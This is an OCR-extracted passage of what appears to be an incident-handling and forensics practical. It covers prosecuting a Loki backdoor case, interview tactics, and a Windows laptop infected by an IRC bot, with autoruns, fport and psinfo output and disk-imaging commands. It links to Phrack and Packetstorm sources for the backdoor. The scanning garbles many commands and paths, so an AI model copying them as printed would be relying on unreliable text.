difficult to prove whether or not the program was actually executed, installed, or accessed. To
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do so, we would need access to the host from where the binary was recovered. Given such
access, we could perform adetailed forensic analysis of the host itself, including atimeline
analysis to look for the modified, accessed, and created times for this binary. We could also ook
for any of the “footprints” described above. Alternately, if we have detailed network logs (from
an intrusion detection system, for example) we could review that datato seeif an unusually high
number of ICMP packets have been transmitted to / from the host.

Assuming that we could prove that the binary was actually used, it may still be difficult to prove
that criminal activity took place. If the programisin fact a Windows version of the “Loki”
backdoor program, what laws are actually violated by its use?

With respect to the most common US Federal laws that are applicable to computer crimes, the
presence or even use of a backdoor program does not violate either the Wiretap Act (18 USC §
2510 - 2522, regarding the interception of wire, oral, or electronic communications) or the
Electronic Communications Privacy Act (18 USC § 2701 — 2712°, regarding access to stored
communications). The “backdoor” is not a sniffer designed to intercept network
communications, nor doesit (by itself) provide any functionality to obtain specific stored data
(such as password files, datafiles, or electronic mail).

Our best bet for prosecution under Federal law would be the Computer Fraud and Abuse Act (18
USC § 1030°), which addresses the infliction of “damage” to a“protected computer”. The
statute addresses a number of circumstances which constitute criminal acts, including access to
financial information and government or national defense computers. Since our network is not a
financial, government, or military network, none of those situations would apply.

We are most likely to be ableto file criminal charges if we can prosecute under 18 USC §
1030(a)(5)(A) and 1030(a)(5)(B), which state in part:

(5)
(A)

(i) knowingly causes the transmission of a program, information, code, or
command, and as a result of such conduct, intentionally causes damage
without authorization, to a protected computer;
(ii) intentionally accesses a protected computer without authorization, and
as a result of such conduct, recklessly causes damage; or
(iii) intentionally accesses a protected computer without authorization,
and as a result of such conduct, causes damage; and

* 18 United States Code, Part |, Chapter 119, §§ 2510 — 2522 (Wire and Electronic Communications Interception
and Interception of Oral Communications), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/plch119.html (URL may be wrapped). Page accessed 27 September 2003.

® 18 United States Code, Part |, Chapter 121, §§ 2701 — 2712 (Stored Wire and Electronic Communications and
Transactional Records Access), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/plch121.html (URL may be wrapped). Page accessed 27 September 2003.

® 18 United States Code, Part |, Chapter 47, § 1030 (Fraud and related activity in connection with computers),
Cornell University Legal Information Institute. URL: http://www4.law.cornell.edu/uscode/18/1030.html (URL may
be wrapped.) Page accessed 27 September 2003.
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(B) by conduct described in clause (i), (ii), or (iii) of subparagraph (A), caused

(or, in the case of an attempted offense, would, if completed, have caused) -
(i) loss to 1 or more persons during any 1-year period (and, for purposes
of an investigation, prosecution, or other proceeding brought by the
United States only, loss resulting from a related course of conduct
affecting 1 or more other protected computers) aggregating at least
$5,000 in value’

In other words, we may be able to show that someone transmitted a program and/or accessed a
“protected computer” to cause “damage”, and that damage was in excess of $5,000.

Even so, it may be difficult to make our case. A “protected computer” is defined under 18 USC 8
1030(e)(2) as:

(2)

the term "protected computer" means a computer -
(A) exclusively for the use of a financial institution or the United States
Government, or, in the case of a computer not exclusively for such use, used
by or for a financial institution or the United States Government and the
conduct constituting the offense affects that use by or for the financial
institution or the Government; or
(B) which is used in interstate or foreign commerce or communication,
including a computer located outside the United States that is used in a
manner that affects interstate or foreign commerce or communication of the
United States®

As our network does not belong to afinancia institution or the US government, we would need
to qualify as anetwork “used in interstate or foreign commerce or communication”. However,
as alarge private corporation, we should be able to qualify.

“Damage”’ and “loss’ are defined under 18 USC § 1030(€)(8) and 18 USC § 1030(e)(11)
respectively as:

(8) the term "damage" means any impairment to the integrity or availability of
data, a program, a system, or information;

(11) the term "loss" means any reasonable cost to any victim, including the cost
of responding to an offense, conducting a damage assessment, and restoring the
data, program, system, or information to its condition prior to the offense, and
any revenue lost, cost incurred, or other consequential damages incurred
because of interruption of service®

718 United States Code, Part |, Chapter 47, § 1030(a)(5), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/1030.html (URL may be wrapped.) Page accessed 27 September 2003.

818 United States Code, Part |, Chapter 47, § 1030(e)(2), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/1030.html (URL may be wrapped.) Page accessed 27 September 2003.

° 18 United States Code, Part |, Chapter 47, § 1030(e)(8) and 1030(e)(11), Cornell University Legal Information
Institute. URL: http://www4.law.cornell.edu/uscode/18/1030.html (URL may be wrapped.) Page accessed 27

September 2003.
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Unauthorized installation of a*“backdoor” covert communications channel should certainly count
asviolating the “integrity” of asystem. To prosecute, we must still be able to show “loss” in
excess of $5,000. Our costs would primarily stem from the cost of the investigation (incident
handler / analyst time) and the loss of productivity incurred by an end-user (i.e., unable to use his
or her system during the investigation) and a system administrator (i.e., to build / provide an
aternate system for use once the suspect system had been taken for investigation). Depending
on the pay rates of the affected individuals, the amount of time involved in the investigation, and
any additional impact to ongoing work (i.e., revenue-generating projects), we may or may not be
able to meet the $5,000 requirement. If the compromised host was a user desktop, meeting the
$5,000 minimum isunlikely. If the compromised host is amission-critical server whose loss
during investigation and sytem rebuild had a significant impact on business and revenue, we are
more likely to qualify under Federal law.

Interview Questions

Assuming we are able to interview the person suspected of installing thet ar get 2. exe fileon
our system, we could ask the following questions to attempt to prove that the suspect did in fact
install and run the file on our host.

1. Weknow you gained access to the system. But our best people have gone over the box with
a fine-toothed comb, and can’t figure out how you did it. How did you manage to control
the host without our sensors detecting it?

The above question effectively asks the subject to confess. A clever subject would not admit to
the wrongdoing, but the way the question is phrased may appeal to the subject’sego: gee, you
managed to outwit our network and security staff and our smartest investigators. Y ou must be
really, really good. Some subjects may not be able to resist demonstrating how much smarter
they are than you.

2. Wefound thisfile on the system and know it’ s the backdoor you used to communicate with
the host. But we can’t determine how the file was planted on the box in the first place.
Therewas no installation routine and we couldn’t find any vulnerabilities that could have
been used to break in. How did you do it?

Similar to the first question, this question attempts to appeal to the attacker’s ego to elicit a
confession. In this case, the presence of the file is acknowledged, but an attempt is made to get
the subject to explain how he broke into the system in the first place.

3. Look, we checked the Creation time on the file and cross-referenced that with the logon
records. They show that the file was created while the user “ smithj” was logged onto the
system. That’syour logon account, isn’t it?

Thisindicates to the subject that you have at least some information about the suspect host and

can tie actions related to the file to a particular user account. If thisis an employee’s account,
you may be ableto link the activity directly with that individual. If the account was installed by
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a hacker and has a generic name (“4v3ng3r” for example) you may be able to tie the account
nameto a“handle’ used by the hacker.

4. We ve examined thefileand it’sreally a very clever tool to gain remote access —we
haven’t seen anything like thisbefore. Were you using it for remote administration?

The question above attempts to give the subject an “out” by providing a“legitimate” reason that
the tool was installed on the system. (Another “legitimate” reason might be “research on hacker
tools’, for example.) Thisoffer of an “excuse’ may cause the subject to believe he or shehasa
way out of trouble, and elicit an admission that he or sheinstalled the file. But these “legitimate”
reasons may still violate federal or state laws, or company policies.

5. Our network intrusion detection system (IDS) managed to capture network traffic showing
communication between this host and a computer with | P address <www.xXxX.yyy.zzz>.
That I P belongs to your desktop workstation, doesn’t it?

Similar to #3, the above question indicates to the subject that you have additional evidencetotie
him or her to any wrongdoing (in this case, linking the compromised host to an IP address used
by the hacker). If the subject believes you have enough additional evidence to prove that they
did it (and are holding back or toying with them), they may confess. Note that for an “outside”
hack (i.e., IP address residing outside the organization), |P information may be harder to trace
and may require the cooperation of another company or organization; an ISP, or even law
enforcement to link the remote IP to a specific account or individual.

Additional Information
Information related to the Loki program can be found at the following links:

* “Project Loki”. Phrack Magazine Volume 7 Number 49. URL:
http://www.phrack.org/show.php?p=49& a=06
e “LOKI2 (the implementation)”. Phrack Magazine Volume 7 Issue 51. URL.:
http://www.phrack.org/show.php?p=51& a=06
» Packetstorm (loki application for * nix variants)
0 http://packetstorm.icx.fr/crypt/L IBS/Ioki/
0 http://packetstorm.icx.fr/crypt/L IBS/I0ki97/
* ISS security alert regarding LOKI2 application: http://xforce.iss.net/xforce/xfdb/1452

Part 2—Option 1: Perform Forensic Analysison a System

Synopsis of Case Facts

Our network intrusion detection system (IDS) detected multiple outbound Internet Relay Chat
(IRC) connection attempts (destination port 6667) from several of |P addresses within the

address range used by our remote access (dial-up) server. The connection attempts were all
going to the IP address 209.213.10.69, which resolved to the hosthame nsl.bones-bbs.com. A
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check of the dial-up server logs showed that al of the connection attempts corresponded with a
single dia-up user account (jdoe) belonging to John Doe.

The connection attempts occurred once at the beginning of each dial-up session, which implied
that this was an automated process that kicked off each time a network connection was made.
This type of behavior frequently indicates infection by an IRC bot (short for “Internet Relay Chat
robot”), atypical hacker tool. IRC isawidely-used protocol that allows usersto connect to
“chat” servers (IRC servers) and join various “channels’ or chat rooms to converse with other
users. IRC isalso used by attackers, who cause compromised hosts to join a specified IRC
server and channel. Once joined to the attacker’s channel, the attacker can use the IRC protocol
to remotely issue commands to and control the compromised host(s).

Because of this suspicious activity, John Doe was contacted and asked to bring his system in for
examination. However, before any imaging was done on the system, it was necessary to
determine whether we really were dealing with an “incident”. Due to resource limitations, we
are unableto justify full imaging of a system unless there is a high probability of a security
breach.

The key isto modify the suspect host as little as possible during the preliminary “forensic audit”.
A small set of tools were used to extract preliminary information from the suspect host. Using
“known good” binaries from our response CD-ROM, we run the following two commands:

e aut oruns (from Sysinternals, described above) to list al executableslaunched at
startup; and

» fport (from Foundstone, described above) to list all open ports and the executables
listening on each.

Theresultsfrom aut or uns show some interesting information:

HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows
NT\ Cur r ent Ver si on\ W nl ogon\ Useri ni t

+ C.\WNNT\ syst enB2\ userinit.exe

HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnce\
HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnceEx\
HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows NT\ Current Ver si on\ W ndows\ Run
HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\

t p4non. exe

nobsync. exe /| ogon

%Sy st emRoot % Syst enB2\i bnprsvce. exe - hel per

| tcnD0O0c. exe 9

Pr onon. exe

RunDl | 32 cweprops. cpl, Crystal Cont r ol Whd

RunDl | 32 C:\ PROGRA~1\ Thi nkPad\ UTI LI T~1\ pwrnoni t. dl |, Start Pw Moni t or
C: \ PROGRA~1\ Thi nkPad\ UTI LI T~1\ TP98. EXE /s

+ + + + 4+ + + 4
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C: \ PROGRA~1\ Thi nkPad\ UTI LI T~1\ t phknygr . exe

PRPCUI . exe

C. \ W NNT\ TPPALDR. EXE

C.\ Program Fi | es\ Real \ Real Pl ayer\ Real Pl ay. exe SYSTEMBOOTHI DEPLAYER
C.\ Program Fi | es\ BroadJunp\ Cl i ent Foundati on\ CFD. exe

"C:\Program Fi | es\ Support.com bi n\tgcnd. exe" /server /nosystray /deaf
ncf g. exe

C:\ Program Fi | es\ MSH p9\ WB2Confi g\ .\ Net wor k32. exe

"C.\ Program Fi | es\ Conmon Fil es\ Synant ec Shar ed\ ccApp. exe"
"C:\Program Fi | es\ Conmon Fi |l es\ Synant ec Shar ed\ ccRegVfy. exe"

C: \ PROGRA~1\ NORTON~2\ AdvTool s\ ADVCHK. EXE

HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\

C: \ Docunents and Settings\All Users\Start Menu\Prograns\ Startup

+ AUTOCHK. LNK -> C:.\ CFGSAFE\ AUTOCHK. EXE

+ EPSON Status Monitor 3.2 Environment Check.lnk ->
C:\ W NNT\ syst enB2\ spool \ dri ver s\ w32x86\ 3\ E_SRCV03. EXE

+ Mcrosoft Ofice.lnk -> C\PROGRA~1\ M CROS~2\ O f i ce\ OSA9. EXE

C.\Docunents and Settings\johnd\Start Menu\Prograns\ Startup

+ Medic.lnk -> C\Program Fil es\ Road Runner\ Medi c\ RRMedi c. exe

HKEY_CURRENT USER\ Sof t war e\ M cr osof t \ W ndows NT\ Curr ent Ver si on\ W ndows\ Load
HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces\

+ ncfg. exe

HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi cesOnce\
HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces\
HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi cesOnce\
HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnce\
HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnceEx\
CAWNNT\wi n.ini

+ 4+ + + 4+ + + + + + 4

Table 1 - Output from "autoruns' command

A large number of executables are launched at startup, particularly from the
HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\

registry key. Thisinitself isnot unusual. Some processes are readily recognized by an
experienced Windows administrator as standard Windows processes. A search of Google
(http://www.google.com) for various other process names shows that others are legitimate
processes started by standard Windows applications, laptop utilities, and others. However, two
executables are not immediately identifiable and raise our suspicions:

+ C.\Program Fil es\ MSH p9\ WB2Confi g\ .\ Net wor k32. exe
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Windows and Windows applications rarely, if ever, use the “dot” notation (\ .\ ) within afile
path. Also, the path listed does not correspond to any “legitimate” Windows application with
which the investigator is familiar.

Also:

+ ncfg. exe

Thisfile nameis not recognized as a“normal” Windows executable by the investigator. Also,
the entry appears twice in the Windows registry — once under
HKEY LOCAL_NMACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ and

once under
HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi c

es\ . Someone wants to make sure that this process gets launched.

We then check our f por t output:

FPort v2.0 - TCP/IP Process to Port Mapper
Copyri ght 2000 by Foundstone, Inc.
http://ww. f oundst one. com

Pi d Process Port Proto Path

812 W nngnt -> 22 TCP

C.\ W NNT\ syst enB2\ wi ns\ wi nngnt . exe

384 svchost -> 135 TCP  C \WNNT\ syst enB2\ svchost . exe
8 System -> 139 TCP

8 System -> 445 TCP

796 MSTask -> 1025 TCP  C \ W NNT\ syst enB2\ MSTask. exe
8 System -> 1027 TCP

1320 ccApp -> 1028 TCP C\Program Fil es\ Common

Fi | es\ Symant ec Shar ed\ ccApp. exe

916 svchost -> 5789 TCP

c:\wi nnt\systenB2\ os2\dl |\ packs\ svchost. exe

1312 Networ k32 -> 17267 TCP  C:\ Program

Fi | es\ MBH p9\ WB2Conf i g\ Net wor k32. exe

1312 Networ k32 -> 44444 TCP  C \ Program

Fi | es\ MBH p9\ WB2Conf i g\ Net wor k32. exe

384 svchost -> 135 UDP  C \ W NNT\ syst enB2\ svchost . exe
8 System -> 137 UDP

8 System -> 138 UbP

8 System -> 445 UbP

228 | sass -> 500 UDP  C \ W NNT\ syst enB82\ | sass. exe
216 servi ces -> 1026 UDP  C \ W NNT\ systenB2\ services. exe

Table 2 - Output from " fport” command
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Our suspicious process “Net wor k32. exe” shows up again, listening on TCP ports 17267 and
44444, both non-standard ports. In addition, we see the following suspect entries:

812 W nngnt -> 22 TCP
C.\ W NNT\ syst enB2\ wi ns\ wi nngnt . exe

“wi nngnt . exe” isnot recognized by the investigator as a legitimate Windows process (though
it should be noted that wi nngnt . exe —with an “ni’ instead of an “n” —is alegitimate process).
In addition, it isusing TCP port 22, normally reserved for the Secure Shell (SSH) server. This
too may be malware attempting to disguise itself by using a file name similar to that of a
legitimate application, and by listening on a*“legitimate” port.

Finally, the following entry catches our attention:

916 svchost -> 5789 TCP
c:\wi nnt\systenB2\ os2\dl | \ packs\ svchost . exe

While“svchost . exe” isin fact alegitimate Windows executable, it does not reside in the
location listed. 5789 is aso anon-standard port.

Based on the output of these utilities, it’'s clear that “something” is on this system that does not
belong there. The suspicious entries above, combined with the repeated connection attempts to
IRC servers picked up by our network IDS, imply that this host has in fact been infected by an
IRC bot. The capabilities of any given IRC bot can vary; they are used for various purposes,
including:

»  Obtaining further information about the compromised host

» Launching denial-of-service attacks against specified targets

» Scanning for and infecting other vulnerable hosts

» Acting as FTP serversfor illicit file transfers (pornography, pirated music, movies, or

software, €tc.)
» Acting asIRC “bounce” (BNC) or relay hosts, to disguise the true origin of an IRC user
» Acting asaproxy server to proxy the attacker’s connections to other service(s).

The full capabilities of any bot are limited only by the skill of the attacker and the tools or
utilities that he or she choosesto install as part of the “bot kit”. To fully understand the extent of
the damage to this host, we will need to conduct a more in-depth investigation. The decision is
made to image the host and conduct aforensic analysis.

Describethe system to be analyzed

John Dog€’ s remote access host isan IBM Thinkpad laptop. The laptop isa Pentium 111 / 700
MHz system with 128 MB of RAM. Mr. Doe is an independent contractor (not a direct
employee of our organization). The laptop is Mr. Do€' s primary computer system and is
personally owned (used for both his contracting and for personal use). It is used to connect to
our corporate network via our dial-up server.
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Basic configuration information about the host is obtained using the psi nf o utility from
Sysinternals. PSinfo isrun usingthe—d —h and —s switches, to show disk configuration,

installed hotfixes, and installed software, respectively.

Copyright (C) 2001-2002 Mark Russinovich
Sysinternals - www. sysinternals.com

Querying information for JDCE. ..

Systeminfornmation for \\JDOE:

Applications:

(edited for space and rel evance)
Adobe Acrobat 4.0 4.0
Coperni ¢ 2001 Basic
EPSON Printer Software
Intel SpeedStep technol ogy Appl et
Intel (RN PRO Et hernet Adapter and Software
Li veReg (Symantec Corporation) 2.2.0.1621
Li veUpdate 1.80 (Synmantec Corporation) 1.80.19.0
M crosoft Internet Explorer 5.5 SP1
M crosoft O fice 2000 Professional 9.00.2720
Net scape Communi cator 4.73
Norton Anti Virus 2003 Professional Edition 9.0.0
Norton Cl eanSweep
PC- Doctor for Wndows NT

Psinfo 1.34 - local and renpte systeminformati on vi ewer

Upti ne: 0 days, O hours, 10 m nutes, 51 seconds
Ker nel version: M crosoft W ndows 2000, Uni processor
Product type: Pr of essi onal
Product version: 5.0
Servi ce pack: 0
Kernel build nunber: 2195
Regi st ered organi zati on: John Doe Consul ting
Regi stered owner: John Doe
Install date: 1/ 15/ 2001, 7:20:37 PM
| E versi on: 5. 5000
System root: C. \ W NNT
Processors: 1
Processor speed: 700 Mz
Processor type: Intel PentiumlI|I
Physi cal nenory: 128 MB
Vol une Type For mat Label Si ze
Free Free
A: Renopvabl e
0%
C. Fixed FAT32 W NDOWS2000 11.2 GB
VB 6%
CS Hot Fix Install ed
QL47222 3/ 2/ 2000
Q52667 3/ 2/ 2000

Free

633. 8
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Real Pl ayer Basic

Thi nkPad Confi guration

Thi nkPad | nf or mati on

WebFl drs 9. 00. 3501

W nZi p

W ndows 2000 Hotfix (Pre-Spl) [ See 52667 for nore informtion]
m RC

nCHK

PSi nf o shows that the host is running Windows 2000 Professional “Gold” (i.e., no Service
Packs installed — abad sign, since SP3 was the current Service Pack available at the time of the
incident). The system has asingle 12GB hard drive that is almost maxed out (only 634 MB free
space remaining or 6%). Thedriveisformatted as a single partition (C:\) with the FAT32 file
system (also abad sign — unlike NTFS, the standard Windows 2000 file system, FAT32 does not
support the use of permissions or other file-level security).

Windows was installed on January 15, 2001 at 7:20:37 PM. Only two hotfixes have been
instaled, Q147222 and Q252667, both on 3/2/2000. The fact that the hotfix installation dateis
prior to the Windows install date implies that thisis an OEM build of Windows 2000 and that
the hotfixes were included in the OEM build. So, other than the patches that were included with
the OS, John Doe has not installed any patches since the system was built.

The host has antivirus software installed (Norton Antivirus 2003 Professional Edition 9.0.0) but
no personal firewall. Note thefinal two applicationslisted, “mIRC” and “nCHK” — both are
suspect. “mIRC” isalegitimate IRC client, but John Doe has stated that he does not use IRC. It
is probable that mIRC wasinstalled by our attacker and is the client software for the IRC bot.
“nCHK” is not immediately recognizable as alegitimate application. Its appearance at the end of
our list (along with mIRC) and out of alphabetical order mean we will want to look further at this
application aswell.

Hardware

The host was tagged with Evidence # 30609, corresponding to the following:

* IBM Thinkpad laptop computer (i series 1200/ PIll / 700 MHz / 128 MB RAM), SIN
1124759AX

* Interna 3.5 floppy drive

* Internal CD-ROM/DVD drive

* Singleinternal 12GB hard drive

* Interna network card

e Internal modem

* Internal sound card

* Power cord

» Laptop carrying case

Due to equipment limitations (i.e., appropriate adapters were not available to allow imaging of a
laptop hard drive in a desktop forensic analysis workstation), the hard disk was not removed and
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catalogued. Strict forensic procedures dictate that the hard disk should be removed, tagged,
logged, and the original drive imaged and preserved for evidence. Aswe were unable to follow
these “best practices’, an alternate method was used to image the media.

Image Media

Like many organizations, we do not have “dedicated” incident responders or forensic anaysts. It
isthe responsibility of the security team as awhole to address a wide range of security related
tasks. Thus, in our company (like many others) there is a gap between the “ideal” world —what
you are supposed to do in aformal, proper, forensic investigation — and the “real” world — what
you' re able to do given limited time, resources, and equipment.

The following analysis does not follow strict forensic “best practices’. Instead, it describes a
real-world investigation conducted using the resources at hand. Where the investigation deviates
from “best practices’, | have pointed out these shortcomings, indicated how things “ should have”
been done in an ideal world, and provided justification for why the investigation was carried out
in the manner described.

Our first difficulty was that we were unable to directly mount the laptop hard drive in our
desktop forensic workstation for imaging (due to the lack of an appropriate adapter to do so).
Our workstation was a desktop system running Red Hat Linux 9.0 with two hard drives — one for
the Linux OS, and a second “evidence drive’ that already contained two other forensic images
from unrelated incidents.

Ideally, we would have:

1. Mounted the laptop drive as athird drive (/ dev/ hdc) in our imaging system;
2. Used nd5sumto generate an M D5 hash of the suspect host’s C:\ drive (the first (only)
partition on the drive, or / dev/ hdc1 to Linux):

md5sum / dev/ hdc1l

3. Imaged the laptop partition directly using the Linux dd command (the “evidence” drive
is/ dev/ hdb, with its single partition (hdb1) mounted as/ evi dence; theimagefile
created isj ohndoe_c. i ng):

dd /dev/ hdcl /evidence/johndoe_c.inyg

4. Generated an MD5 hash of the image file to ensure that it matched that of the original
partition:

nmd5sum / evi dence/ j ohndoe_c. i ng
However, as we were unable to mount the drive directly, we were forced to use an alternate

method. We used a utility called G4U (http://www.feyrer.de/g4u/). G4U (“Ghost 4 Unix”) is
designed to support bit-level duplication (cloning) of hard drivesto and from Unix-based
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distribution servers. Inour case, we will useit to boot our suspect host from a NetBSD-based
floppy or CD-ROM (ensuring that the Windows OS on our host is not booted / touched /
modified) and “clone” (image) our suspect hard drive, transmitting the image via File Transfer
Protocol (FTP) to our Linux-based imaging workstation.

We created a G4U boot disk for useinimaging. However, as G4U itself does not include the
capability to generate an MD5 hash of adrive prior to imaging —important to us for forensic
purposes — we also placed a copy of the NetBSD nd5sumutility on our G4U boot disk to
generate the hash. We then booted the suspect system from our G4U boot floppy and ran the
following command in order to generate the MD5 sum of the C: drive (disk wdO partition a to
NetBSD):

md5sum wdOa > j ohndoe_c. nd5

Viewing the contents of the file, we see that our MD5 hashis:

7321505903bdb5196d78f d5f 4db1f 974

Once we have generated the MD5 hash, we proceed to image the system. Note that in a DHCP-
based network, G4U will prompt the suspect host to use DHCP to obtain IP and routing
information. However, in a non-DHCP based network, you must manually assign an IP address
and a default route to alow the FTP transfer to take place. In our environment, we manually
assigned |P and routing information using thei f conf i g and r out e commands.

Once address and routing information is configured, the command is run to transmit the
(compressed) image. The syntax is:

upl oaddi sk your.ftp.server.comfilenane.gz drive
So in our case, we ran:
upl oaddi sk 192. 168. 10. 15 j ohndoe_c. gz wd0Oa

When prompted, we provided the username and password to access the FTP server, and then
simply waited for the image to be fully transferred via FTP.

(Note that one advantage of using G4U isthat it allows remote imaging of hosts—if you support
remote locations that do not have trained response teams/ forensic analysts on site, G4U can be
used to transfer an image of a suspect host to alocation where experienced staff can conduct an
investigation. Itisrelatively smplefor an end user to create and use the boot floppy to transmit
the image.)

Once we receive the image on our analysis workstation, we need to uncompress the compressed
image:

tar —zxvf johndoe_c.gz > johndoe_c.inyg
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We then validate the image to ensure that it has not been modified by regenerating the MD5
sum:

nmd5sum / evi dence/ j ohndoe_c.ing > johndoe_c. i ng. nd5

The results match the MD5 of the original partition
(7321505903bdb5196d78f d5f 4db1f 974), so we know that we have avalid image.

Media Analysis of System
Analysis Approach: What We Did and Why

Here again we were required to deviate from standard forensic practice, which dictates that the
original hard drive should be preserved as evidence, and all forensic analysis should be
performed on the system image.

Examination of aWindows image on a Linux system is certainly feasible, but it is not always
straightforward or easy. Some of the limitationsin this particular investigation included:

» Examination of a suspect Windows host from a non-Windows system presents certain
challengesin and of itself. Unlike Unix / Linux where every object is afile, Windows
utilizes specialized Windows-specific structures (in particular the registry) to store key
system information. These structures are most easily accessed through the Windows
system itself (or a bootable copy of the system) than through Linux.

* Evenfor “straightforward” examination of the Windows file system itself, Linux tools
(such as Autopsy) can be significantly slower and more cumbersome that native
Windows utilities.

»  Security staff at the time was comprised of: 1. Linux / Unix gurus who could run Linux
(and Linux tools) with their eyes closed, but who had only alimited idea of how to
examine a Windows system for suspicious activity; and 2. Windows experts who could
easily identify “what’ s wrong” with a suspect Windows host, but who lacked familiarity
with Linux analysistools. Again, our best approach was to allow our Windows expert to
examine the host from a Windows system.

Forensic integrity could still have been maintained if we had been able to take our bootable
image, transfer it to afresh hard drive, and examine the bootable copy of the original.
Unfortunately afinal limitation at the time was that we did not have a spare hard drive available
to create a bootable image. The difficulties of our corporate purchasing policies meant that even
if we could get approval for anew hard drive, it could take weeks to arrive — unacceptable both
to management who wanted to know in short order “what happened” and to the user who wanted
his laptop back for rebuilding.

A final consideration was that this case was highly unlikely ever to result in criminal

prosecution. Theincident was related to a single end-user laptop; the laptop itself was not a
corporate asset, but belonged to a contractor working for our organization; the host was most
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likely compromised by a*“standard” IRC bot; and it was unlikely to meet the criteriafor
prosecution under Federal law in any case (particularly with respect to the $5,000 minimum
damage clause).

[ronically, this meant that our best approach in this case was to preserve the image as evidence
(“just in case”), performing only minimal analysis (i.e., timeline generation) on the image itself,
while conducting the majority of our investigation on the original suspect system.

Though contrary to forensic “best practices’, this approach was deemed reasonable in our case
for the reasons described above. Thus, preserving strict chain-of-custody and evidence integrity
was considered secondary to determining “what happened” in order to determine the extent of
any compromise / damage and to prevent similar incidents in the future.

Analysis Environment: Stalking Our Malware (and Our Attackers)

Thus, with the image preserved for later examination, we proceeded to directly examine the
suspect laptop. Both the suspect system and aforensic laptop (running Windows XP
Professional and Red Hat Linux 9.0, as described in Part 1 of this document) were connected to a
hub. Both systems were disconnected from the rest of the network and from any other systems.

Both hosts were booted (thus, unavoidably, modifying our original suspect disk). However, we
still attempted to preserve the integrity of the suspect host as much as possible. Asfar as
possible, all investigation was done using aresponse CD-ROM mounted in the suspect host
(ensuring that all analysis tools were trustworthy). A directory calledc: \ f or ensi cs was
created on the analysis host and shared on the network. The suspect host mapped adriveto (i.e.,
mounted) this shared folder asz: \ f or ensi ¢s so that output from the analysis utilities could be
written directly to the analysis system disk, and not the suspect system disk.

Preliminary Forensic Audit: Gathering Information

In order to identify any suspect files on the host, it’s preferable to have some idea of where to
start looking. If we start randomly browsing through thousands of files on any given Windows
host, we will be looking for the proverbial needlein the haystack! We need a bit of focusto give
us some pointers as to where to start. While our previous commands (aut or uns, f port,

psi nf o) provided some basic information, we want to gather additional data. The following
commands were used to obtain information and write the output to the mapped drive on our
anaysishost (D: \ isthe CD-ROM drive on the suspect host, Z: \ isour drive mapped from the
suspect host tothe C: \ f or ensi c¢s directory on our analysis system).

e D\psinfo —d —h —s > z:\psinfo.txt (from Sysinternas PSTools). Obtains
basic system information.

e D \pslist > z:\pslist.txt (fromSysinternals PSTools). Obtainslist of running
processes.

* D \psservice > z:\psservice.txt (from Sysinternals PSTools). Obtainslist of
installed services and their status.
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* D \autoruns, pasteoutput into z: \ aut or uns. t xt (from Sysinternals). Obtainslist
of processes launched at startup.

e D \fport > z:\fport.txt (fromFoundstone). Obtain list of open ports and
associated executables.

* D\ dunpsec (graphical utility from Somarsoft, http://www.somarsoft.com). Obtain lists
of users (including password properties and last password change date); shares and share
permissions; and security policies (password and audit policies). All output was saved to
Z..

In addition, the Windows di r command was used to generate file system timeline data as
follows:
D:\dir c: /S/OD/TA > z:\johndoe_c_atime. txt

Thistells Windows to obtain a directory listing of the C:\ drive (c: ) including subdirectories

(/' S), sorted by date order (/ OD), using the last Access date / timestamp (/ TA), saving the output
to our analysis workstation asthefilej ohndoe_c_at i ne. t xt . Similar commands were used
to generate timelines using Create time (D: \dir c: /S /0D /TC >

z:\johndoe_c_cti ne. t xt) and Modified (Write) times(D:\dir c: /S /0D /TW>
z:\johndoe_c_ntine. txt).

The output of all the commands above (with the exception of the timelines, which are extremely
lengthy) are listed in Appendix B.

Forensic Audit Results. What’'s Wrong With This Picture?

Armed with all of this data, we begin to review our file output. We have aready seen that the
host was running Windows 2000 Professional with no service packs and almost no hotfixes
installed; the disk was formatted with FAT32 (vs. NTFS); while antivirus softwareis currently
installed, the creation timestamps on the antivirus application files indicate that it was installed
(or reinstalled?) on March 17, 2003 and the host may have been unprotected prior to that date; no
persona firewall isinstalled; the default Windows security policies are in place (no auditing
enabled, no minimum password length, etc.); and two Administrator-level accounts

(Admi ni strat or andj aned) are configured so that the password never expires. Security on
this host certainly appearsto be less than ideal.

As we further examine the data, we attempt to identify unknown processes, executables, and
services. Judicious use of Google allows usto positively identify some initially unknown items
aslegitimate. However, we are still left with a number of fishy-looking items to investigate:

From psl i st we find the following suspect processes:

Wi nngnt 812 8 5 64 2736 0: 00: 00. 030 0: 00: 00. 060 0:11:32.545
Fi reDaenon 896 8 2 31 1032 0: 00: 00. 010 0: 00: 00. 010 0:11:30.062
svchost 916 8 3 55 2476 0: 00: 00. 030 0: 00: 00. 070 0:11: 30. 042
Net wor k32 1312 8 6 109 5320 0: 00: 00. 170 0: 00: 00. 660 0: 07:53. 460
